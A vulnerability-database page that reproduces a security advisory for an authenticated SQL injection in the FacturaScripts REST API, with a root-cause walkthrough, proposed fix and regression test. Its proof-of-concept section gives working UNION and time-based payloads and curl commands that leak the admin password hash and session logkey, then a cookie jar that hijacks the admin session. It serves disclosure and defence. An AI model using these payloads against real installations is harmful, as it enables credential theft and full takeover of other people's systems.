Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6271 vulnerabilities reference this CWE, most recent first.

GHSA-5QMH-X653-G8QJ

Vulnerability from github – Published: 2026-07-14 17:11 – Updated: 2026-07-14 17:11
VLAI
Summary
FacturaScripts: Authenticated SQL injection in the FacturaScripts REST API filter parameter via parenthesis bypass in `Where::sqlColumn`
Details

Summary

Live PoC verified 2026-04-30 against a stock FacturaScripts master at 127.0.0.1:8081. A scoped ApiKey with fullaccess=0 and an ApiAccess row granting allowget=1 on the clientes resource only (no other rights, no UI session, no admin) issued one GET /api/3/clientes?filter[(0)UNION%20SELECT%20...]= request and the response body contained the raw bcrypt hash of the admin user's password ($2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO) and the admin's logkey cookie value. The leaked logkey was injected into a fresh cookie jar and GET /AdminPlugins returned 200 with the admin plugin management UI. End-to-end account takeover from a read-only token with no CSRF, no second factor, no rate-limit interaction beyond the default 5-incident IP throttle.

Core/Where.php::sqlColumn() exempts any field name that contains both ( and ) from identifier escaping. The two API filter builders (APIModel::getWhereValues and ApiAttachedFiles::getWhereValues) feed the raw request key ($_GET['filter'][$key]) straight into new DataBaseWhere($key, $value, '=', ...). When the model's all() reaches Where::multiSqlLegacy -> Where::sql() -> Where::sqlColumn($key), the parenthesis branch returns the attacker-controlled string unmodified. The string is concatenated into WHERE <attacker> = '<value>', which an attacker can pivot to WHERE (0)UNION SELECT ... FROM users WHERE(nick='admin')-- = 'value', leaking arbitrary columns from any table.

Details

the API filter pipeline never validates filter keys

Core/Lib/API/APIModel.php:300-322 (listAll):

protected function listAll(): bool
{
    $filter = $this->request->query->getArray('filter');
    $limit = $this->request->query->getInt('limit', 50);
    $offset = $this->request->query->getInt('offset', 0);
    $operation = $this->request->query->getArray('operation');
    $order = $this->request->query->getArray('sort');

    // obtenemos los registros
    $data = [];
    $hidden = $this->model->getApiFieldsToHide();
    $where = $this->getWhereValues($filter, $operation);
    foreach ($this->model->all($where, $order, $offset, $limit) as $item) {
        $data[] = $this->filterHidden($item->toArray(true), $hidden);
    }
    ...

Core/Lib/API/APIModel.php:231-298 (getWhereValues):

private function getWhereValues($filter, $operation, $defaultOperation = 'AND'): array
{
    $where = [];
    foreach ($filter as $key => $value) {
        $field = $key;                                    // (1) raw request key
        $operator = '=';

        switch (substr($key, -3)) {                       // suffix routing only
            case '_gt': $field = substr($key, 0, -3); $operator = '>'; break;
            case '_is': $field = substr($key, 0, -3); $operator = 'IS'; break;
            case '_lt': $field = substr($key, 0, -3); $operator = '<'; break;
        }
        ...
        if (!isset($operation[$key])) {
            $operation[$key] = $defaultOperation;
        }

        $where[] = new DataBaseWhere($field, $value, $operator, $operation[$key]); // (2)
    }

    return $where;
}

The function only ever reads the suffix to decide an operator. The remaining identifier - up to 252 characters in MariaDB and unrestricted by the framework - is preserved verbatim and handed to DataBaseWhere. There is no allow-list of legal column names, no preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/') like the autocomplete hardening in BaseController::autocompleteAction (commit b8aa78b), and no plug-in hook through which the operator could intervene.

The exact same code (line-for-line, plus a files parameter) lives in Core/Controller/ApiAttachedFiles.php::getWhereValues (lines 172-239), so the bug is present on both the generic /api/3/<resource> route and the dedicated /api/3/attachedfiles route.

DataBaseWhere::getSQLWhere now delegates to Where::multiSqlLegacy

Core/Base/DataBase/DataBaseWhere.php is marked @deprecated and the active code path runs through Core/Where.php::multiSqlLegacy (lines 151-199), which converts each legacy DataBaseWhere instance to a Where:

if ($item instanceof DataBaseWhere) {
    $dbWhere = new self($item->fields, $item->value, $item->operator, $item->operation, $item->useField ?? false);
    ...
    $sql .= $dbWhere->sql();
    ...
}

Where::sql() (lines 316-403) finally calls self::sqlColumn($field) for the identifier in every operator branch, including the = branch the attacker reaches.

Where::sqlColumn returns parenthesised inputs untouched

Core/Where.php:407-425:

private static function sqlColumn(string $field): string
{
    // si lleva paréntesis, no escapamos
    if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
        return $field;                                   // (3) raw concatenation
    }

    // si empieza por integer, hacemos el cast
    if (substr($field, 0, 8) === 'integer:') {
        return self::db()->castInteger(substr($field, 8));
    }

    // si empieza por lower, hacemos el lower
    if (substr($field, 0, 6) === 'lower:') {
        return 'LOWER(' . self::db()->escapeColumn(substr($field, 6)) . ')';
    }

    return self::db()->escapeColumn($field);
}

The intent of the early-return appears to be supporting expression columns like LOWER(col) and UPPER(col) in select, where, and groupBy builder calls, but the check is purely string presence: any input containing both ( and ) is whitelisted, with no constraint on what the string actually is. The same exemption affects every consumer that routes through Where::sqlColumn, including select(), whereLike(), whereIn(), etc. (Core/Where.php:317-405).

what an attacker submits

Reaching the sink requires the two characters ( and ) somewhere in the filter key. The attacker therefore passes:

filter[(0)UNION SELECT IFNULL(password,2),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 FROM users WHERE(nick='admin')-- ]=

URL encoded for HTTP transport:

filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=

The clientes table has 32 columns; the UNION mirrors that count so the database accepts the merged result set. The trailing -- swallows the rest of the framework's appended SQL (= '<value>' LIMIT 50 OFFSET 0). The result is one record whose first column is the admin's password hash, returned in the JSON body's cifnif key (the first column in the original query's SELECT *).

why the getApiFieldsToHide() defence does not apply

Commit 736b811 added getApiFieldsToHide() to the User model, which redacts password, logkey, and two_factor_secret_key from the JSON serialiser:

public function getApiFieldsToHide(): array
{
    return ['password', 'logkey', 'two_factor_secret_key'];
}

This works for GET /api/3/users requests by a fullaccess token: the model loads, then filterHidden() removes the columns. The protection is bound to the model class that is being serialised. The SQL-injection path returns rows in the clientes model serialiser, so the leaked column lands in cifnif (or any other column the attacker chooses for the first UNION position) and is never put through Cliente::getApiFieldsToHide() (which does not include password/logkey because the clientes table has no such columns). The deny-list is irrelevant.

why the sort (ORDER BY) hardening does not apply either

Commit 1b6cdfa added strict regex validation to DbQuery::orderBy (Core/DbQuery.php:289-307), constraining parenthesised input to RAND() | RANDOM() | LOWER(...) | UPPER(...) | CAST(... AS ...) | COALESCE(..., literal). That fix correctly walls off SQL injection in the sort parameter. It does not touch Where::sqlColumn, which retains the original string-presence exemption.

PoC

Setup (one-time, by admin):

# Issue an ApiKey scoped to clientes GET only.
mysql -u fs -pfs facturascripts <<'SQL'
INSERT INTO api_keys (apikey, creationdate, description, enabled, fullaccess, nick)
  VALUES ('low-scoped-token-clientes-only', NOW(), 'scoped low-priv', 1, 0, 'lowpriv');
INSERT INTO api_access (idapikey, resource, allowget, allowpost, allowput, allowdelete)
  SELECT id, 'clientes', 1, 0, 0, 0 FROM api_keys WHERE apikey='low-scoped-token-clientes-only';
SQL

Confirm the scope is enforced for normal endpoints:

$ curl -s "http://127.0.0.1:8081/api/3/users" -H "Token: low-scoped-token-clientes-only"
{"status":"error","message":"forbidden"}

Step 1 - leak the admin password hash via the SQL-injection on clientes:

$ URL='http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ curl -s "$URL" -H "Token: low-scoped-token-clientes-only" | python3 -m json.tool | head -3
[
    {
        "cifnif": "$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO",

Step 2 - leak the admin's logkey (the value of the fsLogkey cookie that gates web sessions):

$ URL='http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28logkey%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ curl -s "$URL" -H "Token: low-scoped-token-clientes-only" | python3 -m json.tool | head -3
[
    {
        "cifnif": "HyZJB2eEyo5eC9Eyhn96qxbQkFDqHJss1d1lED0HEHE2ujoPPGRnUstsWd3kS25CieoLkHvsN4X1YGUt1iqXh1ZFMP0jgHFmeBW",

Step 3 - hijack the admin's web session by writing the leaked logkey into a cookie jar and hitting the admin-only plugin manager:

$ cat > /tmp/fs-hijack <<EOF
# Netscape HTTP Cookie File
127.0.0.1   FALSE   /   FALSE   0   fsNick  admin
127.0.0.1   FALSE   /   FALSE   0   fsLogkey    HyZJB2eEyo5eC9Eyhn96qxbQkFDqHJss1d1lED0HEHE2ujoPPGRnUstsWd3kS25CieoLkHvsN4X1YGUt1iqXh1ZFMP0jgHFmeBW
127.0.0.1   FALSE   /   FALSE   0   fsLang  en_EN
EOF
$ curl -s -b /tmp/fs-hijack "http://127.0.0.1:8081/AdminPlugins" -o /tmp/admin.html -w "%{http_code}\n"
200
$ grep -oE '<title>[^<]*</title>' /tmp/admin.html
<title>Plugins</title>

Time-based blind injection works just as well for environments without a UNION-friendly column count - the same parenthesis bypass admits arbitrary expressions:

$ curl -s "http://127.0.0.1:8081/api/3/clientes?filter%5B%28SELECT%28SLEEP%282%29%29%29%5D=zz" -H "Token: low-scoped-token-clientes-only"
[]
$ # observe two-second wall-clock delay; mysqld general log shows
$ #   SELECT COUNT(*) as _count FROM `clientes` WHERE (SELECT(SLEEP(2))) = 'zz' LIMIT 1 OFFSET 0

The attachedfiles route (Core/Controller/ApiAttachedFiles.php) is identically affected because it carries its own copy of getWhereValues:

$ URL='http://127.0.0.1:8081/api/3/attachedfiles?filter%5B%280%29UNION%20SELECT%20%221970-01-01%22%2CIFNULL%28password%2C2%29%2C3%2C4%2C5%2C6%2C7%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ curl -s "$URL" -H "Token: low-scoped-token-clientes-only" | python3 -m json.tool | head -3
[
    {
        "date": "01-01-1970",
        "filename": "$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO",

Impact

  • Cross-resource confidentiality breach. A token granted GET on a single low-value resource (e.g. clientes for an integration that imports customers) reads any column from any table in the schema, including users.password, users.logkey, users.two_factor_secret_key, api_keys.apikey, emails_sent.body, customer financial data, etc. getApiFieldsToHide() only protects the response serialiser of the requested model; UNION queries route the leaked data through other model serialisers and bypass the deny-list entirely.
  • Full admin takeover. The leaked logkey is the value of the fsLogkey cookie that Core/Base/Controller::privateCore accepts as the session token (User::verifyLogkey is a plain string equality, Core/Model/User.php:403-406). Setting fsNick=admin and fsLogkey=<leaked> on any HTTP client returns 200 on every admin endpoint, including /AdminPlugins (install arbitrary plugin code), /EditUser?code=admin (rotate the admin password), /EditEmpresa (data-plane writes), /Cron (server-side code execution via cron job extension).
  • Stealthy. Successful UNION queries do not produce Tools::log()->error entries (no SQL syntax error, no MariaDB warning); the framework only writes log rows on failed SQL. The attacker's queries leave no FacturaScripts log trail. The api_keys row is touched by the normal updateActivity() write the API does on every authenticated call, which looks identical to legitimate scoped-token usage.
  • Reachable from internet. API access is on by default once the operator either sets FS_API_KEY or flips Default -> Enable API in the admin UI. The recommended deployment guidance for vendors integrating with FacturaScripts is to issue a scoped key, exactly the privilege level required for this exploit.
  • The same primitive lets an attacker rewrite data. Because ( ) exemption is in Where::sqlColumn itself, write paths that build WHERE clauses from caller-controlled identifiers are equally exposed; the attacker can instead use UPDATE ... WHERE style payloads via stacked queries on engines that allow them, or use SELECT ... INTO OUTFILE on MySQL installations with FILE privilege to write a webshell into the docroot. The CVSS scoring already assumes integrity impact H for these reasons.

AV:N (network), AC:L (one HTTP GET, no oracle, no specific timing), PR:L (any non-fullaccess ApiKey with one allowed resource), UI:N, S:C (the vulnerable component is the API; the impact reaches the whole user database, web sessions, and authenticated control plane), C:H I:H A:H. Score 9.9. The S:C (scope change) is appropriate because the privilege boundary the attacker crosses is the operator's intent of "this token can only read clientes", which the API contract explicitly enforces in its 403 response on /users. The leaked credential then gives them admin reach in a different security zone (the web UI session, the plugin manager).

Recommended Fix

The bug is squarely in Core/Where.php::sqlColumn. The attacker-controlled-identifier path needs a strict allow-list, and the API ingress paths need their own field-name validator that mirrors the autocomplete hardening already in Core/Lib/ExtendedController/BaseController::autocompleteAction (commit b8aa78b).

  1. Replace the parenthesis presence test with a structural parser. Where::sqlColumn should refuse anything that is not one of: a bare identifier (matching ^[a-zA-Z_][a-zA-Z0-9_]*(\.[a-zA-Z_][a-zA-Z0-9_]*)?$), LOWER(<ident>), UPPER(<ident>), CAST(<ident> AS <type>), or COALESCE(<ident>, <literal>). The grammar already exists in DbQuery::orderBy (lines 289-307) and just needs to be reused. Anything else is escaped through db()->escapeColumn() (which already handles dotted identifiers correctly):

```php private static function sqlColumn(string $field): string { $field = trim($field);

   // bare identifier or table.column
   if (preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?$/', $field)) {
       return self::db()->escapeColumn($field);
   }

   // limited expression whitelist (mirrors DbQuery::orderBy)
   if (preg_match('/^(LOWER|UPPER)\(([a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?)\)$/i', $field, $m)) {
       return strtoupper($m[1]) . '(' . self::db()->escapeColumn($m[2]) . ')';
   }

   if (preg_match('/^CAST\(([a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?) AS ([a-zA-Z0-9_ ]+)\)$/i', $field, $m)) {
       return 'CAST(' . self::db()->escapeColumn($m[1]) . ' AS ' . $m[2] . ')';
   }

   // legacy prefixes
   if (str_starts_with($field, 'integer:')) {
       return self::db()->castInteger(substr($field, 8));
   }
   if (str_starts_with($field, 'lower:')) {
       return 'LOWER(' . self::db()->escapeColumn(substr($field, 6)) . ')';
   }
   if (str_starts_with($field, 'upper:')) {
       return 'UPPER(' . self::db()->escapeColumn(substr($field, 6)) . ')';
   }

   // refuse anything else
   throw new Exception('Invalid column expression: ' . $field);

} ```

The change is local; every call site in the framework already passes either a bare identifier or one of the supported expression prefixes. A grep for '(...)' style identifiers across the codebase shows zero hits in Core/.

  1. Validate filter keys at the API ingress. Even after (1), the API getWhereValues should refuse identifiers that are not bare columns, mirroring BaseController::autocompleteAction:258-261:

```php foreach ($filter as $key => $value) { $field = $key; // strip operator suffixes (existing code) ...

   if (!preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?$/', $field)) {
       Tools::log('api')->warning('api: invalid filter field name: ' . $field);
       continue;                                            // skip the bad filter
   }

   // ... remaining code

} ```

Apply the same patch to ApiAttachedFiles::getWhereValues:172-239. This is defence-in-depth - the actual fix is (1) - but matches the project's existing hardening pattern from commit b8aa78b.

  1. Rotate session tokens on detected SQL injection attempts. Once exploitation is detected (the new validator at (2) logs the attempt), the implementation should call Cron::log to throttle the originating IP and queue a rotation of User::logkey for any user whose password or logkey columns were potentially leaked. Operators that have shipped this version with API enabled should rotate every user's password and assume credentials in the database have been read.

A regression test should issue GET /api/3/clientes?filter[(0)UNION SELECT 1,...]=x with a scoped token and assert the response is an empty array (because the bad filter was discarded) and that Tools::log('api')->read() contains the new "invalid filter field name" warning.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "facturascripts/facturascripts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2026.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45262"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T17:11:06Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n\u003e **Live PoC verified 2026-04-30** against a stock FacturaScripts master at `127.0.0.1:8081`. A scoped `ApiKey` with `fullaccess=0` and an `ApiAccess` row granting `allowget=1` on the `clientes` resource only (no other rights, no UI session, no admin) issued one `GET /api/3/clientes?filter[(0)UNION%20SELECT%20...]=` request and the response body contained the raw bcrypt hash of the admin user\u0027s password (`$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO`) and the admin\u0027s `logkey` cookie value. The leaked `logkey` was injected into a fresh cookie jar and `GET /AdminPlugins` returned 200 with the admin plugin management UI. End-to-end account takeover from a read-only token with no CSRF, no second factor, no rate-limit interaction beyond the default 5-incident IP throttle.\n\n`Core/Where.php::sqlColumn()` exempts any field name that contains both `(` and `)` from identifier escaping. The two API filter builders (`APIModel::getWhereValues` and `ApiAttachedFiles::getWhereValues`) feed the raw request key (`$_GET[\u0027filter\u0027][$key]`) straight into `new DataBaseWhere($key, $value, \u0027=\u0027, ...)`. When the model\u0027s `all()` reaches `Where::multiSqlLegacy` -\u003e `Where::sql()` -\u003e `Where::sqlColumn($key)`, the parenthesis branch returns the attacker-controlled string unmodified. The string is concatenated into `WHERE \u003cattacker\u003e = \u0027\u003cvalue\u003e\u0027`, which an attacker can pivot to `WHERE (0)UNION SELECT ... FROM users WHERE(nick=\u0027admin\u0027)-- = \u0027value\u0027`, leaking arbitrary columns from any table.\n\n## Details\n\n### the API filter pipeline never validates filter keys\n\n`Core/Lib/API/APIModel.php:300-322` (`listAll`):\n\n```php\nprotected function listAll(): bool\n{\n    $filter = $this-\u003erequest-\u003equery-\u003egetArray(\u0027filter\u0027);\n    $limit = $this-\u003erequest-\u003equery-\u003egetInt(\u0027limit\u0027, 50);\n    $offset = $this-\u003erequest-\u003equery-\u003egetInt(\u0027offset\u0027, 0);\n    $operation = $this-\u003erequest-\u003equery-\u003egetArray(\u0027operation\u0027);\n    $order = $this-\u003erequest-\u003equery-\u003egetArray(\u0027sort\u0027);\n\n    // obtenemos los registros\n    $data = [];\n    $hidden = $this-\u003emodel-\u003egetApiFieldsToHide();\n    $where = $this-\u003egetWhereValues($filter, $operation);\n    foreach ($this-\u003emodel-\u003eall($where, $order, $offset, $limit) as $item) {\n        $data[] = $this-\u003efilterHidden($item-\u003etoArray(true), $hidden);\n    }\n    ...\n```\n\n`Core/Lib/API/APIModel.php:231-298` (`getWhereValues`):\n\n```php\nprivate function getWhereValues($filter, $operation, $defaultOperation = \u0027AND\u0027): array\n{\n    $where = [];\n    foreach ($filter as $key =\u003e $value) {\n        $field = $key;                                    // (1) raw request key\n        $operator = \u0027=\u0027;\n\n        switch (substr($key, -3)) {                       // suffix routing only\n            case \u0027_gt\u0027: $field = substr($key, 0, -3); $operator = \u0027\u003e\u0027; break;\n            case \u0027_is\u0027: $field = substr($key, 0, -3); $operator = \u0027IS\u0027; break;\n            case \u0027_lt\u0027: $field = substr($key, 0, -3); $operator = \u0027\u003c\u0027; break;\n        }\n        ...\n        if (!isset($operation[$key])) {\n            $operation[$key] = $defaultOperation;\n        }\n\n        $where[] = new DataBaseWhere($field, $value, $operator, $operation[$key]); // (2)\n    }\n\n    return $where;\n}\n```\n\nThe function only ever reads the suffix to decide an operator. The remaining identifier - up to 252 characters in MariaDB and unrestricted by the framework - is preserved verbatim and handed to `DataBaseWhere`. There is no allow-list of legal column names, no `preg_match(\u0027/^[a-zA-Z_][a-zA-Z0-9_]*$/\u0027)` like the autocomplete hardening in `BaseController::autocompleteAction` (commit `b8aa78b`), and no plug-in hook through which the operator could intervene.\n\nThe exact same code (line-for-line, plus a `files` parameter) lives in `Core/Controller/ApiAttachedFiles.php::getWhereValues` (lines 172-239), so the bug is present on both the generic `/api/3/\u003cresource\u003e` route and the dedicated `/api/3/attachedfiles` route.\n\n### `DataBaseWhere::getSQLWhere` now delegates to `Where::multiSqlLegacy`\n\n`Core/Base/DataBase/DataBaseWhere.php` is marked `@deprecated` and the active code path runs through `Core/Where.php::multiSqlLegacy` (lines 151-199), which converts each legacy `DataBaseWhere` instance to a `Where`:\n\n```php\nif ($item instanceof DataBaseWhere) {\n    $dbWhere = new self($item-\u003efields, $item-\u003evalue, $item-\u003eoperator, $item-\u003eoperation, $item-\u003euseField ?? false);\n    ...\n    $sql .= $dbWhere-\u003esql();\n    ...\n}\n```\n\n`Where::sql()` (lines 316-403) finally calls `self::sqlColumn($field)` for the identifier in every operator branch, including the `=` branch the attacker reaches.\n\n### `Where::sqlColumn` returns parenthesised inputs untouched\n\n`Core/Where.php:407-425`:\n\n```php\nprivate static function sqlColumn(string $field): string\n{\n    // si lleva par\u00e9ntesis, no escapamos\n    if (strpos($field, \u0027(\u0027) !== false \u0026\u0026 strpos($field, \u0027)\u0027) !== false) {\n        return $field;                                   // (3) raw concatenation\n    }\n\n    // si empieza por integer, hacemos el cast\n    if (substr($field, 0, 8) === \u0027integer:\u0027) {\n        return self::db()-\u003ecastInteger(substr($field, 8));\n    }\n\n    // si empieza por lower, hacemos el lower\n    if (substr($field, 0, 6) === \u0027lower:\u0027) {\n        return \u0027LOWER(\u0027 . self::db()-\u003eescapeColumn(substr($field, 6)) . \u0027)\u0027;\n    }\n\n    return self::db()-\u003eescapeColumn($field);\n}\n```\n\nThe intent of the early-return appears to be supporting expression columns like `LOWER(col)` and `UPPER(col)` in `select`, `where`, and `groupBy` builder calls, but the check is purely string presence: any input containing **both** `(` and `)` is whitelisted, with no constraint on what the string actually is. The same exemption affects every consumer that routes through `Where::sqlColumn`, including `select()`, `whereLike()`, `whereIn()`, etc. (`Core/Where.php:317-405`).\n\n### what an attacker submits\n\nReaching the sink requires the two characters `(` and `)` somewhere in the filter key. The attacker therefore passes:\n\n```\nfilter[(0)UNION SELECT IFNULL(password,2),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 FROM users WHERE(nick=\u0027admin\u0027)-- ]=\n```\n\nURL encoded for HTTP transport:\n\n```\nfilter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=\n```\n\nThe `clientes` table has 32 columns; the UNION mirrors that count so the database accepts the merged result set. The trailing `-- ` swallows the rest of the framework\u0027s appended SQL (`= \u0027\u003cvalue\u003e\u0027 LIMIT 50 OFFSET 0`). The result is one record whose first column is the admin\u0027s password hash, returned in the JSON body\u0027s `cifnif` key (the first column in the original query\u0027s `SELECT *`).\n\n### why the `getApiFieldsToHide()` defence does not apply\n\nCommit `736b811` added `getApiFieldsToHide()` to the `User` model, which redacts `password`, `logkey`, and `two_factor_secret_key` from the JSON serialiser:\n\n```php\npublic function getApiFieldsToHide(): array\n{\n    return [\u0027password\u0027, \u0027logkey\u0027, \u0027two_factor_secret_key\u0027];\n}\n```\n\nThis works for `GET /api/3/users` requests by a fullaccess token: the model loads, then `filterHidden()` removes the columns. The protection is bound to the **model class** that is being serialised. The SQL-injection path returns rows in the **`clientes`** model serialiser, so the leaked column lands in `cifnif` (or any other column the attacker chooses for the first UNION position) and is never put through `Cliente::getApiFieldsToHide()` (which does not include `password`/`logkey` because the `clientes` table has no such columns). The deny-list is irrelevant.\n\n### why the `sort` (ORDER BY) hardening does not apply either\n\nCommit `1b6cdfa` added strict regex validation to `DbQuery::orderBy` (`Core/DbQuery.php:289-307`), constraining parenthesised input to `RAND() | RANDOM() | LOWER(...) | UPPER(...) | CAST(... AS ...) | COALESCE(..., literal)`. That fix correctly walls off SQL injection in the `sort` parameter. It does not touch `Where::sqlColumn`, which retains the original string-presence exemption.\n\n## PoC\n\nSetup (one-time, by admin):\n\n```bash\n# Issue an ApiKey scoped to clientes GET only.\nmysql -u fs -pfs facturascripts \u003c\u003c\u0027SQL\u0027\nINSERT INTO api_keys (apikey, creationdate, description, enabled, fullaccess, nick)\n  VALUES (\u0027low-scoped-token-clientes-only\u0027, NOW(), \u0027scoped low-priv\u0027, 1, 0, \u0027lowpriv\u0027);\nINSERT INTO api_access (idapikey, resource, allowget, allowpost, allowput, allowdelete)\n  SELECT id, \u0027clientes\u0027, 1, 0, 0, 0 FROM api_keys WHERE apikey=\u0027low-scoped-token-clientes-only\u0027;\nSQL\n```\n\nConfirm the scope is enforced for normal endpoints:\n\n```\n$ curl -s \"http://127.0.0.1:8081/api/3/users\" -H \"Token: low-scoped-token-clientes-only\"\n{\"status\":\"error\",\"message\":\"forbidden\"}\n```\n\nStep 1 - leak the admin password hash via the SQL-injection on `clientes`:\n\n```\n$ URL=\u0027http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=\u0027\n$ curl -s \"$URL\" -H \"Token: low-scoped-token-clientes-only\" | python3 -m json.tool | head -3\n[\n    {\n        \"cifnif\": \"$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO\",\n```\n\nStep 2 - leak the admin\u0027s `logkey` (the value of the `fsLogkey` cookie that gates web sessions):\n\n```\n$ URL=\u0027http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28logkey%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=\u0027\n$ curl -s \"$URL\" -H \"Token: low-scoped-token-clientes-only\" | python3 -m json.tool | head -3\n[\n    {\n        \"cifnif\": \"HyZJB2eEyo5eC9Eyhn96qxbQkFDqHJss1d1lED0HEHE2ujoPPGRnUstsWd3kS25CieoLkHvsN4X1YGUt1iqXh1ZFMP0jgHFmeBW\",\n```\n\nStep 3 - hijack the admin\u0027s web session by writing the leaked logkey into a cookie jar and hitting the admin-only plugin manager:\n\n```\n$ cat \u003e /tmp/fs-hijack \u003c\u003cEOF\n# Netscape HTTP Cookie File\n127.0.0.1\tFALSE\t/\tFALSE\t0\tfsNick\tadmin\n127.0.0.1\tFALSE\t/\tFALSE\t0\tfsLogkey\tHyZJB2eEyo5eC9Eyhn96qxbQkFDqHJss1d1lED0HEHE2ujoPPGRnUstsWd3kS25CieoLkHvsN4X1YGUt1iqXh1ZFMP0jgHFmeBW\n127.0.0.1\tFALSE\t/\tFALSE\t0\tfsLang\ten_EN\nEOF\n$ curl -s -b /tmp/fs-hijack \"http://127.0.0.1:8081/AdminPlugins\" -o /tmp/admin.html -w \"%{http_code}\\n\"\n200\n$ grep -oE \u0027\u003ctitle\u003e[^\u003c]*\u003c/title\u003e\u0027 /tmp/admin.html\n\u003ctitle\u003ePlugins\u003c/title\u003e\n```\n\nTime-based blind injection works just as well for environments without a UNION-friendly column count - the same parenthesis bypass admits arbitrary expressions:\n\n```\n$ curl -s \"http://127.0.0.1:8081/api/3/clientes?filter%5B%28SELECT%28SLEEP%282%29%29%29%5D=zz\" -H \"Token: low-scoped-token-clientes-only\"\n[]\n$ # observe two-second wall-clock delay; mysqld general log shows\n$ #   SELECT COUNT(*) as _count FROM `clientes` WHERE (SELECT(SLEEP(2))) = \u0027zz\u0027 LIMIT 1 OFFSET 0\n```\n\nThe `attachedfiles` route (`Core/Controller/ApiAttachedFiles.php`) is identically affected because it carries its own copy of `getWhereValues`:\n\n```\n$ URL=\u0027http://127.0.0.1:8081/api/3/attachedfiles?filter%5B%280%29UNION%20SELECT%20%221970-01-01%22%2CIFNULL%28password%2C2%29%2C3%2C4%2C5%2C6%2C7%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=\u0027\n$ curl -s \"$URL\" -H \"Token: low-scoped-token-clientes-only\" | python3 -m json.tool | head -3\n[\n    {\n        \"date\": \"01-01-1970\",\n        \"filename\": \"$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO\",\n```\n\n## Impact\n\n* **Cross-resource confidentiality breach.** A token granted GET on a single low-value resource (e.g. `clientes` for an integration that imports customers) reads any column from any table in the schema, including `users.password`, `users.logkey`, `users.two_factor_secret_key`, `api_keys.apikey`, `emails_sent.body`, customer financial data, etc. `getApiFieldsToHide()` only protects the response serialiser of the requested model; UNION queries route the leaked data through other model serialisers and bypass the deny-list entirely.\n* **Full admin takeover.** The leaked `logkey` is the value of the `fsLogkey` cookie that 